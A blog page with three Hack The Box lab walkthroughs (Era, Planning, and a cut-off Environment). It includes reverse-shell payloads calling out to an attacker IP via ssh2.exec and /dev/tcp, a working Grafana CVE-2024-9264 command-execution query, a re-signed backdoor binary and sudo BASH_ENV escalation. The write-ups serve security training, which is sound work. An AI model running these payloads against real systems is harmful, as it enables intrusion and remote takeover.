❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Hack The Box: Era Machine Walkthrough – Medium Difficulity

By: darknite
29 November 2025 at 15:06
Reading Time: 16 minutes

Introduction:

In this writeup, we will explore the β€œEra” machine from Hack The Box, categorized as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œEra” machine from Hack The Box by achieving the following objectives:

User Flag:

Initial enumeration revealed a hidden virtual host file.era.htb and a simple file-sharing web application that allowed registration and login. After creating an account, it quickly became clear that the download.php endpoint suffered from a severe Insecure Direct Object Reference (IDOR) vulnerability: any authenticated user could access any file on the platform simply by guessing its numeric ID. By fuzzing IDs 1–5000, two admin-uploaded archives were retrieved – a complete site backup containing the source code and SQLite database, and a signing.zip archive containing an SSH private key. The leaked database also exposed clear-text credentials, including eric:america. Because the ssh2 PHP extension was loaded on the server, the ssh2:// stream wrapper could be abused through the same vulnerable download endpoint.

Root Flag:

While exploring the system as eric, a root-owned executable /opt/AV/periodic-checks/monitor was discovered that runs periodically via cron (confirmed by entries in status.log). The binary performed a custom integrity check using a digital signature stored in an ELF section named .text_sig. Using objcopy, the legitimate signature was extracted from the original binary. On the attacker’s machine, a malicious statically linked reverse-shell binary (monitor_backdoor) was compiled, and the legitimate .text_sig section was injected into it with objcopy –add-section. The backdoored binary was then transferred to the target and used to overwrite the original monitor executable (the directory was world-writable). When the cron job next executed, the malicious binary ran as root and immediately connected back, delivering a root shell. The root flag was then read directly from /root/root.txt, completing the compromise.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

Nmap Output:

Analysis:

  • Port 22 (SSH): Secure Shell service for remote access.
  • Port 80 (HTTP): Web server running Apache.

Web Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

Gobuster DNS scan on era.htb finishes with no subdomains found β€” clean miss on the big wordlist. Time to dig deeper or move to vhost/directory brute.

Discovering the Hidden Virtual Host with ffuf

ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) β€” jackpot! That’s our real target. Add to /etc/hosts and move in.

ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) β€” jackpot! That’s our real target. Add to /etc/hosts and move in.

ffuf with -fw 4 (filter responses with exactly 4 words) nails it β€” file.era.htb returns 200 + 6765 bytes while everything else 302s with tiny bodies. Clear hit, that’s our hidden subdomain. Add to hosts and go!

Exploitation

Web Application Exploration:

Accessing http://era.htb shows the Era Designs homepageβ€”a clean marketing site with navigation (Home, Services, About, Portfolio, Clients, Team, Contact) and a hero section featuring yellow vases, a white sofa, and β€œSUCCESS OF YOUR BUSINESS” text with a β€œFIND OUT MORE” button.

Burp shows a clean GET to http://era.htb β†’ 200 OK from nginx/1.18.0 (Ubuntu). Response is a standard Bootstrap-styled marketing page titled β€œEra Designs” with no forms or backend endpoints – just a static landing site. Nothing juicy here.

Clean β€œWelcome to Era Storage!” page with four big blue buttons: Manage Files, Upload Files, Update Security Questions, and Sign In. This is the main hub of the entire app.

Very minimal registration: only two fields – Username and Password. No email, no captcha, no security questions during signup.

Forgot-password bypass: enter username and answer the three hardcoded questions (mother’s maiden name, first pet, city of birth).

Classic centred login box with Username + Password on a blue-green gradient background – the page we’re redirected to after registration.

Successful POST to /register.php β†’ 200 OK + automatic redirect to login.php. Account creation confirmed.

After picking a new username (e.g., β€œdark”), registration succeeds and the app displays: β€œRegistration successful! Redirecting to login page…” β†’ account creation is instant and working.

POST to /login.php with username=dark&password=admin123 returns 302 Found β†’ Location: manage.php and sets a PHPSESSID cookie. We are now authenticated as the β€œdark” user.

GET to /manage.php with the same PHPSESSID cookie returns 200 OK and the full HTML of the logged-in dashboard (title: β€œEra – Manage”).

The main post-login page β€œManage Your Files & Settings” shows:

  • Left sidebar: Manage Files, Upload Files, Update Security Questions, Sign Out
  • Main area: auto-delete timer setting, empty file list (β€œYou haven’t uploaded any files yet.”), Reset Security Questions button This is the fully authenticated user panel β€” our foothold is confirmed.

Malicious PHP Upload β†’ Direct Shell

Authenticated view of /upload.php. Simple file upload form titled β€œUpload Files” with a β€œBrowse…” button (currently β€œNo files selected.”) and a blue β€œUpload” button. No restrictions visible on file type or size yet.

Same upload page, but now the user has selected a harmless file named dark.txt. Shows the form ready to submit β€” this is just confirming normal upload functionality works.

After uploading dark.txt, the app redirects to /download.php?id=6615 and shows β€œYour Download Is Ready!” with the filename and a download button. Key observation: files are accessed via a numericid` parameter β†’ classic candidate for Insecure Direct Object Reference (IDOR).

After clicking β€œUpload”, the app displays a green β€œUpload Successful!” banner and immediately provides a direct download link in the format: http://file.era.htb/download.php?id=6615 This confirms uploads work and every file gets its own numeric ID β€” setting the stage for IDOR testing and potential privilege escalation via file access across users.

Legitimate request to http://file.era.htb/download.php?id=6615 returns the expected β€œYour Download Is Ready!” page with our uploaded file dark.txt. Confirms the download endpoint works normally for files we own.

Appending ?dl=true to the same request (download.php?id=6615&dl=true) bypasses the pretty download page and triggers an immediate file download:

  • Content-Type: application/octet-stream
  • Content-Disposition: attachment; filename=”dark.txt” This is extremely useful for scripting/automation because we get the raw file without HTML.

Quickly create a list of all possible numeric file IDs from 1 to 5000. This will be used for brute-forcing the id parameter in download.php to find other users’ files.

Database Leak & Credential Extraction

Final setup in Burp Intruder:

  • Target: http://file.era.htb
  • Payload position marked on the id parameter (id=6615 β†’ id=Β§6615Β§)
  • Payload type: Numbers 1 β†’ 5000 (simple list)
  • ?dl=true added so every hit immediately downloads the raw file instead of showing HTML Ready to launch the attack that will download every single file ever uploaded by any user on the platform.

Burp Intruder attack against download.php?id=Β§Β§&dl=true using the 1–5000 payload list. All responses are 200 OK and exactly 7969 bytes long β€” including our own known file. This tells us there is no authorization check at all; every single existing file ID returns the exact same response length, meaning the server happily serves any file the numeric ID points to β†’ confirmed horizontal Insecure Direct Object Reference (IDOR).

After confirming the IDOR on download.php?id=, we generate a list of IDs 1–5000 (seq 1 5000 > num.txt) and fuzz with ffuf, injecting our authenticated cookie and filtering out responses with exactly 3161 words (the empty download page). Only two IDs survive: 54 and 150. Both return much larger responses (~2552 words), indicating real files.

Insecure Direct Object Reference (IDOR)

Accessing http://file.era.htb/download.php?id=54 reveals the filename site-backup-30-08-24.zip. This is the full source code backup of the Era file-sharing web app, uploaded by the admin.

Response headers confirm we’re downloading the raw site-backup-30-08-24.zip (2006697 bytes). The body starts with PK header (ZIP magic bytes).

Accessing http://file.era.htb/download.php?id=150 shows signing.zip. This smaller archive contains a private key and possibly a signing script – likely for code signing or authentication.

Response forces download of signing.zip (2746 bytes). This archive contains the admin’s private key (id_rsa) and a script – the golden ticket for SSH access as the admin/user.

Source Code Review – Key Vulnerabilities Exposed in the Leak

After downloading IDs 54 and 150 via IDOR, we extract both ZIPs. One is site-backup-30-08-24.zip (clearly a website backup) and the other is signing.zip.

This is the full source code of the Era web application, straight from the admin’s upload (ID 54). Key files visible during extraction:

  • download.php, upload.php, index.php – core functionality
  • filedb.sqlite – the SQLite database storing users, sessions, and file metadata
  • files/ directory – where uploaded files are stored on disk
  • functions.global.php, initial_layout.php, etc. – backend logic
  • .htaccess, login.php, logout.php – authentication flow

With this backup in hand, we now have everything:

  • Complete code review capability
  • The database (filedb.sqlite) to dump credentials or session secrets
  • Exact knowledge of how the IDOR works internally

This is the live SQLite database powering the entire Era application – straight from the admin’s site backup we downloaded via IDOR.

We’ve opened the real filedb.sqlite from the site backup and immediately listed the tables. As expected:

  • users β†’ stores usernames, password hashes, etc.
  • files β†’ maps numeric IDs to real filenames and owners (confirms the IDOR logic)

After extracting the site backup, we opened the leaked filedb.sqlite and dumped the users table with SELECT * FROM users;. The result reveals six accounts, including the admin (ID 1) with the bcrypt hash $2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and a fake email β€œMaria Oliver | Ottawa”. The other five users (eric, veronica, yuri, john, ethan) also have proper bcrypt hashes. This gives us every credential on the box in plain text (hash) form, but we don’t even need to crack anything β€” the signing.zip we downloaded via the same IDOR already contains the admin’s SSH private key. The database dump is just the cherry on top, confirming total information disclosure and proving the IDOR let us steal every secret the application ever had. We’re now one ssh -i id_rsa admin@file.era.htb away from both flags.

Cracking the Leaked Hashes with John the Ripper

We dumped the users table into hash.txt for cracking. It contains six bcrypt hashes, including the admin’s: admin_ef01cab31aa:$2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and the other five regular users.

John instantly cracks two weak passwords:

  • america β†’ eric
  • mustang β†’ yuri

The rest (including admin) remain uncracked in the short run.

Both attempts fail with Connection refused.

This confirms that only key-based authentication is allowed on the box (port 22 is open but rejects password logins entirely). The weak passwords we just cracked (america, mustang) are useless for SSH β€” the server is correctly hardened against password auth.

Alternative way to obtain the user flag

This is the β€œUpdate Security Questions” page from the Era web app, captured while logged in as the admin (admin_ef01cab31aa). The admin literally set all three security-question answers to admin

The server happily accepted it and responded with the green banner: β€œIf the user exists, answers have been updated β€” redirecting…”

This confirms that there is no validation for security-question updates. Any logged-in user can silently overwrite anyone else’s answers (including the admin’s) without knowing the old ones. Combined with the predictable username (admin_ef01cab31aa visible in the UI), this is a second, independent path to full account takeover via the forgot-password flow.

Screenshot shows a settings panel designed for managing uploaded files and controlling their retention time. At the top, an option allows automatic deletion to be enabled, letting the user choose a specific time interval and unit before files are removed. Below the settings, the interface lists existing uploaded files, such as dark.txt, which can be selected and deleted using the Delete Selected Files button. Additional options, including returning to the home page and resetting security questions, provide quick access to important account functions. Overall, the panel centralizes file management, privacy controls, and routine account maintenance.

Screenshot shows a login fallback page that allows access through security questions instead of a password. The interface displays the username along with three predefined security questions: mother’s maiden name, first pet’s name, and city of birth. Each answer field has been filled with the value admin, suggesting that the account uses weak or predictable answers. After providing the answers, the user can click Verify and Log In to gain access. Overall, the page functions as an alternative authentication method, typically intended for account recovery when the main password is unavailable.

The auto-deletion feature is enabled, configured to remove uploaded items after 10 weeks. Two files are currently presentβ€”site-backup-30-08-24.zip and signing.zipβ€”both of which can be selected for removal using the red action button. The sidebar on the left offers quick links for browsing files, uploading new ones, modifying security questions, and signing out of the session. Overall, the page offers a simple layout for organizing uploaded content and managing basic account settings.

FTP Enumeration (Local-Only vsFTPd – Optional Side Discovery)

Attacker logs into the target’s own vsftpd service (running on 10.10.11.79) using credentials yuri:yuri. Login succeeds instantly.

Inside the FTP session, dir shows only two directories: apache2_conf and php8.1_conf. Nothing else is present.

Inside the FTP session (logged in as yuri), the attacker runs dir in the root directory and sees only four small Apache configuration files:

  • 000-default.conf (1.3 KB)
  • apache2.conf (7 KB)
  • file.conf (222 bytes)
  • ports.conf (320 bytes)

Gaining User Shell – ssh2 Stream Wrapper RCE

After cd php8.1_conf, another dir reveals a long list of standard PHP 8.1 extension .so files (calendar.so, exif.so, ftp.so, pdo.so, phar.so, sqlite3.so, etc.). No interesting or custom files appear.

The internal vsFTPd instance is nothing more than a poorly chrooted service that accidentally exposes Apache configuration files and the real PHP extension directory. It provides zero writable paths, no sensitive data beyond what we already knew, and no escalation value. Just a nice confirmatory easter egg that the ssh2 extension is indeed loaded β€” but completely unnecessary for either the user or root compromise.

Screenshot reveals successful exploitation of an unrestricted file retrieval flaw on file.era.htb. Attacker submits a malicious GET request to download.php, weaponizing PHP’s ssh2.exec stream wrapper alongside command injection. Payload inside id parameter uses ssh2.exec://eric:america@127.0.0.1/ then pipes a base64-encoded reverse shell that instructs victim host to initiate connection toward attacker address 10.10.14.189 on port 9007. Flawed script directly feeds user-supplied input into readfile() or equivalent without validation. PHP detects ssh2.exec wrapper, authenticates locally via SSH as user eric using password america, executes hostile command, and returns resulting output (nearly empty) as response body. Web server replies with 200 OK and 136 bytes of data, confirming reverse shell triggered successfully. Exploit highlights classic stream-wrapper abuse transforming simple download vulnerability into complete remote code execution.

This second capture shows a polished version of the same remote code execution attack against download.php on file.era.htb. Attacker now places a cleaner payload inside the format parameter: ssh2.exec://eric:america@127.0.0.1/bash -c β€˜bash -i >/dev/tcp/10.10.14.189/9007 0>&1’ followed by |base64 -d |bash. After URL decoding, PHP interprets the ssh2.exec wrapper, authenticates to localhost SSH as user eric using password america, runs the quoted reverse-shell command, decodes any remaining base64 payload if needed, and finally spawns an interactive bash session that connects back to 10.10.14.189:9007. Server returns HTTP 200 OK with a 153-byte body containing wrapper startup messages, confirming successful command execution. Compared to the previous attempt, this refined one-liner removes unnecessary encoding layers while remaining effective, proving the attacker now enjoys a stable reverse shell on the target system.

Attacker stuffs this tightly-encoded string into the format parameter:

ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%22bash%20-i%3E%26/dev/tcp/10.10.14.189/9007%200%3E%261;true%27

Once decoded, PHP sees:

ssh2.exec://eric:america@127.0.0.1/bash -c β€œbash -i>&/dev/tcp/10.10.14.189/9007 0>&1;true'”

Every dangerous character (< > &) appears percent-encoded, slipping past basic filters. The trailing ;true’ cleanly terminates the command and avoids breaking bash syntax. No base64 gymnastics required.

PHP dutifully opens a local SSH session as user eric with password america, runs the quoted command, and instantly redirects all shell I/O over TCP to 10.10.14.189:9007. Result: a clean, stable, fully interactive reverse shell that survives repeated use. Target machine now belongs to the attacker.

On the attack machine, netcat listens on port 9007 (nc -lvnp 9007). As soon as the final ssh2.exec payload hits download.php, the target instantly connects back from IP 10.10.11.79. Shell lands as user eric on hostname era (prompt: eric@era:~$)

Eric managed to read user.txt and obtained the flag

Escalate to Root Privileges Access

Privilege Escalation:

Eric runs sudo -l to check which sudo privileges are available. The system replies that a terminal and password are required, meaning eric has no passwordless sudo rights and cannot directly escalate using sudo.

Eric executes find / -perm 4000 2>/dev/null to hunt for SUID binaries system-wide. The command returns no results (screen stays empty), indicating no obvious SUID files exist that could be abused.

Eric navigates to /opt and runs ls. Output shows a single directory named AV. This immediately catches attention β€” custom software installed under /opt is a classic spot for privilege-escalation vectors on HTB machines.

Eric enters /opt/AV/periodic-checks and runs ls. Two files appear: monitor (a root-owned executable) and status.log. The presence of a root-owned binary in a writable directory strongly suggests this monitor program runs periodically as root (likely via cron) and will be the intended privilege-escalation target.

I runs strings monitor. Among normal library calls, two crucial strings appear: β€œ[] System scan initiated…” and β€œ[] No threats detected. Shutting down…”. These exact strings match the log entries, proving monitor is the binary executed by root during each scan.

I checks status.log in /opt/AV/periodic-checks. The log shows the monitor binary runs periodically as root, prints β€œ[*} System scan initiated…”, then β€œ[SUCCESS] No threats detected.” – confirming it is a scheduled root job and the real escalation target.

Custom Binary Signature Bypass

We tries to open a file called dark.c inside /dev/shm but vi fails with β€œcommand not found”. This reveals the reverse shell lacks a proper $PATH and most binaries – a common issue with raw /dev/tcp shells.

On the attacker’s local machine, the file dark.c contains a simple malicious payload: a single system() call that spawns another reverse shell back to 10.10.14.189:9007. The attacker has prepared this source code to compile and drop on the target.

On the attacker’s local machine, gcc compiles the malicious dark.c source into a statically linked binary named monitor_backdoor – a perfect drop-in replacement for the legitimate monitor program.

I uses curl http://10.10.14.189/monitor_backdoor -o monitor_backdoor to download the final backdoored binary from the attacker’s web server directly into the current directory (or /dev/shm). The transfer completes successfully (754 KB at ~1.4 MB/s).

The stage is now set: once the original monitor binary is replaced with this backdoor, the next root cron execution will instantly grant a root shell back to the attacker.

Command such as objcopy –dump-section .text_sig=sig /opt/AV/periodic-checks/monitor to extract the original monitor binary’s .text_sig section (a custom digital signature) and save it as a file called sig inside /dev/shm.

I runs objcopy –add-section .text_sig=sig monitor_backdoor, injecting the legitimate signature extracted from the real monitor into the malicious backdoored version. This preserves the signature so the root-run scanner will accept the fake binary.

To completes the attack by overwriting the legitimate monitor binary with the backdoored version: cp monitor_backdoor /opt/AV/periodic-checks/monitor The root-owned executable that runs periodically via cron is now fully replaced.

The cron job fires, executes the backdoored monitor as root, and the payload instantly triggers. Attacker catches a new reverse shell that lands directly as root@era: ~#. The box is fully compromised.

Root reads the final flag immediately after gaining the privileged shell

The post Hack The Box: Era Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.

Hack The Box: Planning Machine Walkthrouh – Easy Diffucilty

By: darknite
13 September 2025 at 10:58
Reading Time: 9 minutes

Introduction to Planning:

In this write-up, we will explore the β€œPlanning” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œPlanning” machine from Hack The Box by achieving the following objectives:

User Flag:

During reconnaissance, extensive fuzzing was required to identify a Grafana instance vulnerable to CVE-2024-9264β€”a critical flaw enabling arbitrary command execution through unsanitized SQL inputs in the DuckDB CLI. By deploying a proof-of-concept exploit, I successfully extracted files and ran commands, gaining entry to the Grafana container but not the underlying host. Subsequent enumeration uncovered valid credentials for the user β€œenzo,” which granted SSH access to the host system.

Root Flag:

Once on the host, I discovered the Crontab-UI serviceβ€”a web-based tool for managing cron jobsβ€”running on localhost:8000 and secured with Basic Authentication. Leveraging the earlier credentials for the β€œenzo” user, I authenticated to the interface and added a malicious cron job configured to establish a reverse shell connection.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.68

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/planning]
└──╼ $nmap -sC -sV -oA initial 10.10.11.68 
# Nmap 7.94SVN scan initiated Wed Sep 10 08:09:24 2025 as: nmap -sC -sV -oA initial 10.10.11.68
Nmap scan report for 10.10.11.68
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 10 08:09:35 2025 -- 1 IP address (1 host up) scanned in 11.35 seconds
β”Œβ”€[dark@parrot]─[~/Documents/htb/planning]
└──╼ $

Analysis:

  • Port 22 (SSH): Secure Shell service for remote access.
  • Port 80 (HTTP): Web server running Apache.

Web Application Exploration:

The website for Edukate appears to be a standard educational platform.

What is Edukate?

Edukate is a free educational website template designed for online learning platforms and academic institutions. Its intuitive layout improves user engagement, while its clean, developer-friendly codebase makes customization simple. Built with Sass for easy maintenance, Edukate is optimized for page speed to deliver fast loading times and lower bounce rates. It is fully cross-browser compatible, ensuring a smooth experience across all major browsers, and SEO-friendly to help boost search engine rankings.

Source: themewagon/Edukate

No usable elements are present here.

Nothing noteworthy here either.

Web Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster vhost -u http://planning.htb -w combined_subdomains.txt --append-domain -t 50

Gobuster Output:

β”Œβ”€[dark@parrot]─[/opt/SecLists/Discovery/DNS]
└──╼ $gobuster vhost -u http://planning.htb -w combined_subdomains.txt --append-domain -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://planning.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        combined_subdomains.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: grafana.planning.htb Status: 302 [Size: 29] [--> /login]
===============================================================
Finished
===============================================================
β”Œβ”€[dark@parrot]─[/opt/SecLists/Discovery/DNS]
└──╼ $

Analysis:

Discovery: grafana.planning.htb

  • Gobuster found a valid virtual host: grafana.planning.htb.
  • This is likely an internal service meant for the organization’s team, not a public endpoint.
  • Since it contains grafana, it strongly suggests it is a Grafana dashboard instance.

Grafana Application

The grafana.planning.htb subdomain loads successfully and displays the Grafana login page.

We should be able to log in using the credentials provided by Hack The Box.

  • Username:Β admin
  • Password: 0D5oT70Fq13EvB5r

We need to inspect the traffic using Burp Suite.

First, I noticed that the endpoint /api/user/auth-tokens-rotate is available here.

We successfully gained access to the Grafana dashboard.

We also confirmed that the Grafana instance is running version 11.0.0

There are numerous tokens being rotated here.

This is what the response looks like in Burp Suite.

Critical SQL Expression Vulnerability in Grafana Enabling Authenticated LFI/RCE

This vulnerability targets Grafana 11’s experimental SQL Expressions feature, which allows users to post-process query results via custom SQL using DuckDB. The flaw arises because user input isn’t properly sanitized before being sent to the DuckDB CLI, enabling remote code execution (RCE) or arbitrary file reads. The root cause is unfiltered input passed directly to the DuckDB command-line interface. The CVSS v3.1 score is 9.9 (Critical).

Grafana doesn’t include DuckDB by default. For exploitation, DuckDB must be installed on the server and accessible in Grafana’s PATH. If it’s absent, the system is safe.

Using a PoC, we can exploit this flaw to read system files, demonstrating its impact and severity.

Let’s search Google for potential exploits targeting Grafana v11.0.0

This flaw enables authenticated users to attain remote code execution (RCE). I exploited it using the publicly available proof-of-concept from Nollium’s GitHub repository.

We successfully retrieved the /etc/passwd file.

When we ran the whoami command, it returned root, which is unexpected.

Let’s set up our listener.

Unfortunately, we were unable to execute the command due to an error.

As suspected, this is running inside a Docker container.

The environment variables reveal the Grafana admin credentials:

  • GF_SECURITY_ADMIN_USER=enzo
  • GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!.

Exploit CVE-2024-9264 using Burp Suite.

The api/ds/query endpoint is available in Grafana, and we can leverage it for this exploit.

If the full path is not specified, it responds with a β€œNot Found” message.

However, attempting to execute the full path results in an β€œUnauthorized” response.

It’s still the same; we need to send the JSON data here.

After replacing the token, it worked.

{
  "from": "1729313027261",
  "queries": [
    {
      "datasource": {"name": "Expression", "type": "__expr__", "uid": "__expr__"},
      "expression": "SELECT 1; install shellfs from community; LOAD shellfs; SELECT * FROM read_csv(\"whoami > /tmp/output.txt 2>&1 |")",
      "hide": false,
      "refId": "B",
      "type": "sql",
      "window": ""
    }
  ],
  "to": "1729334627261"
}

This JSON payload is a crafted query sent to Grafana’s api/ds/query endpoint. It uses the Expression data source with an SQL expression to run a sequence of commands: first installing and loading the shellfs extension, then executing whoami and redirecting the output to /tmp/output.txt. This effectively demonstrates command execution through CVE-2024-9264.

Reading the contents of /tmp/output.txt confirms that the whoami command executed on the target machine.

Let’s set up our listener to catch the reverse shell.

Use this SQL command to execute the bash script.

It’s hanging, which is a good sign that the payload is executing.

We successfully received a reverse shell connection.

We attempted to switch to the enzo user with su enzo, but it didn’t work.

SSH worked perfectly and allowed us to log in successfully.

We were able to read the user flag by running cat user.txt.

Escalate To Root Privileges Access

Privilege Escalation:

Locate the database file.

We discovered /opt/crrontabs/crontab.db.

The password for root_grafana is P4ssw0rdS0pRi0T3c.

Port 8000 is open here, which is unusual.

Let’s set up port forwarding for port 8000.

We need to provide the credentials to log in.

We need to use the credentials we discovered earlier to log in.

It turned out to be a cron jobs management interface.

What is Cronjob-UI?

Crontab-UI is an open-source Node.js web interface for managing cron jobs on Unix-like systems, simplifying tasks like creating, editing, pausing, deleting, and backing up crontab entries via a browser (default: http://localhost:8000). It reduces errors from manual text editing, supports error logging, email notifications, webhooks, and easy import/export for multi-machine deployment. Installation is via npm (npm install crontab-ui -g), with optional Docker support and Basic Auth for security. Ideal for beginners handling scheduled tasks.

We need to create a new cron job command.

The shell.sh file contains the reverse shell that will connect back to us.

We will use curl to fetch the file, as demonstrated earlier.

The file was transferred successfully, as expected.

We were able to access the root shell and read the root flag by running cat root.txt.

The post Hack The Box: Planning Machine Walkthrouh – Easy Diffucilty appeared first on Threatninja.net.

Hack The Box: Environment Machine Walkthough-Medium Difficulty

By: darknite
6 September 2025 at 10:58
Reading Time: 13 minutes

Introduction to Environment:

In this write-up, we will explore the β€œEnvironment” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective for the Environment machine:

The goal of this walkthrough is to complete the β€œEnvironment” machine from Hack The Box by achieving the following objectives:

User Flag:

The login page identified a Marketing Management Portal, and testing the Remember parameter with --env=preprod bypassed authentication, exposing user emails, including hish@environment.htb. The application runs PHP 8.2.28 and Laravel 11.30.0, which is vulnerable to argument injection (CVE-2024-52301) and UniSharp Laravel Filemanager code injection, highlighting further exploitation potential. The profile upload feature allowed a PHP file bypass by appending a . to the extension (shell.php.); a crafted payload confirmed code execution via phpinfo(). A PHP reverse shell was uploaded and triggered, connecting back to a listener and allowing retrieval of the user flag with cat user.txt.

Root Flag:

To escalate privileges and obtain the root flag, we first examined the contents of /home/hish, discovering a backup file keyvault.gpg and a .gnupg directory containing GnuPG configuration and key files. By copying .gnupg to /tmp/mygnupg and setting appropriate permissions, we used GPG to decrypt keyvault.gpg, revealing credentials including the Environment.htb password (marineSPm@ster!!). User β€œhish” had sudo privileges to run /usr/bin/systeminfo with preserved environment variables (ENV and BASH_ENV), creating a vector for privilege escalation. A script dark.sh containing bash -p was crafted and made executable; executing sudo BASH_ENV=./dark.sh /usr/bin/systeminfo triggered the script under elevated privileges, spawning a root shell and effectively granting full control of the system, allowing access to the root flag.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.10.10

Nmap Output:

# Nmap 7.94SVN scan initiated Sun May  4 08:43:11 2025 as: nmap -sC -sV -oA initial 10.10.11.67
Nmap scan report for 10.10.11.67
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May  4 08:43:21 2025 -- 1 IP address (1 host up) scanned in 10.97 seconds

Analysis:

  • Port 22 (SSH): Secure Shell service for remote access, running OpenSSH 9.2p1 (Debian 12).
  • Port 80 (HTTP): Web server running nginx 1.22.1, redirecting to environment.htb

Web Enumeration on the Environment machine:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt 

Gobuster Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/environment]
└──╼ $gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://environment.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 2391]
/upload               (Status: 405) [Size: 244852]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up                   (Status: 200) [Size: 2125]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing              (Status: 405) [Size: 244854]
Progress: 81643 / 81644 (100.00%)
===============================================================
Finished
===============================================================

Analysis:

  • login (200): Login page, likely entry point for authentication.
  • /upload (405): Upload functionality present but restricted (Method Not Allowed).
  • /storage (301): Redirects to http://environment.htb/storage/.
  • /up (200): Page accessible, may contain system or application status.
  • /logout (302): Redirects back to login page.
  • /vendor (301): Redirects to http://environment.htb/vendor/, likely framework/vendor files.
  • /build (301): Redirects to http://environment.htb/build/, may contain application build assets.
  • /mailing (405): Mailing functionality endpoint, but restricted (Method Not Allowed).

Exploration for the Environment Machine

The website displays a standard interface with no obvious points of exploitation.

The login page identifies the application as a Marketing Management Portal, but no valid credentials are available to test authentication.

Attackers can examine the PHP script at the /upload endpoint to gather potential hints. The application runs on PHP 8.2.28 with Laravel 11.30.0, which may expose version-specific vulnerabilities.

Laravel 11.30.0 Argument Injection Vulnerability (CVE-2024-52301) – Enumeration & PoC

Therefore, let’s research potential exploits for PHP 8.2.28 with Laravel 11.30.0.

Source: Laravel 11.30.0 Exploit: What You Need to Know

On the discovered website, attackers can exploit CVE-2024-52301, a Laravel 11.30.0 argument injection flaw triggered when register_argc_argv is enabled. By sending crafted query strings, they can inject arguments into the PHP environment, potentially gaining unauthorised access or executing arbitrary commands.. This vulnerability poses a high risk, especially in shared hosting, but administrators can mitigate it by disabling register_argc_argv in php.ini and hardening server configurations.

Enumeration and Proof-of-Concept Testing for CVE-2024-52301

We will test the login page with blind credential attempts to see if any weak or default accounts accept access.

This is how the request and response appear when viewed through Burp Suite.

The request packet includes a parameter Remember=false, and the server responds with β€œInvalid Credentialsβ€œ, indicating failed authentication.

Therefore, the next step is to modify the parameter by changing Remember=false to Remember=true and observe the server’s response.

Unfortunately, modifying Remember=false to Remember=true did not bypass authentication, as the login attempt still failed.

The output appears similar to the reaction shown above, confirming that the change in the Remember parameter did not affect authentication.

Removing the Remember parameter from the request still results in the same response, indicating no change in authentication behavior.

